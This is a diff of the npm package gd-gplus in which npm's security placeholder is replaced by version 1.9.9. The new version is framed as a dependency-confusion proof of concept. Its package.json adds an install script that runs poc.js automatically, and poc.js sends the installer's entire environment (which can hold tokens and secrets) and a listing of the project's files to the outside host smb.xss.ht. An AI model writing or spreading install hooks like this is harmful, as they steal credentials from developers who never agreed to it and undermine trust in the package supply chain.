gd-gplus 0.0.1-security → 1.9.9

package/README.md

@@ -1,5 +1 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=gd-gplus for more information.
+This package acts as a PoC sending a single request with details about the execution environment

package/package.json

@@ -1,6 +1,11 @@
 {
   "name": "gd-gplus",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "1.9.9",
+  "description": "this is a poc. plznoban",
+  "main": "index.js",
+  "scripts": {
+    "install": "$NODE poc.js; exit 0"
+  },
+  "author": "",
+  "license": "MIT"
 }

package/poc.js

@@ -0,0 +1,44 @@
+const fs = require('fs');
+const https = require('https');
+
+function SendToXSSHunter(path, data) {
+  const body = JSON.stringify({
+    "uri":path,
+    "cookies":"",
+    "referrer":"",
+    "user-agent":"NodeJS",
+    "browser-time":0,
+    "probe-uid":"",
+    "origin":"",
+    "injection_key":"",
+    "dom":data,
+    "screenshot":""
+  });
+
+  const options = {
+    hostname: 'smb.xss.ht',
+    port: 443,
+    path: '/js_callback',
+    method: 'POST',
+    headers: {
+    'Content-Type': 'application/json',
+    'Content-Length': body.length
+    }
+  };
+
+  const req = https.request(options);
+  req.write(body);
+  req.end();
+}
+
+var path = process.env.PWD;
+if (path.includes('node_modules'))
+  path += '/../../';
+fs.readdir(path, (err, files) => {
+  SendToXSSHunter('NPM@'+process.env.NAME+': '+process.env.INIT_CWD, JSON.stringify({env: process.env, files}));
+  console.log('#####################################################################################################');
+  console.log('# This package acts as a PoC sending a single request with details about the execution environment. #');
+  console.log('#      (This package was downloaded from the public NPM registry instead of your private one!)      #');
+  console.log('# @0xSombra                                                                                         #');
+  console.log('#####################################################################################################');
+});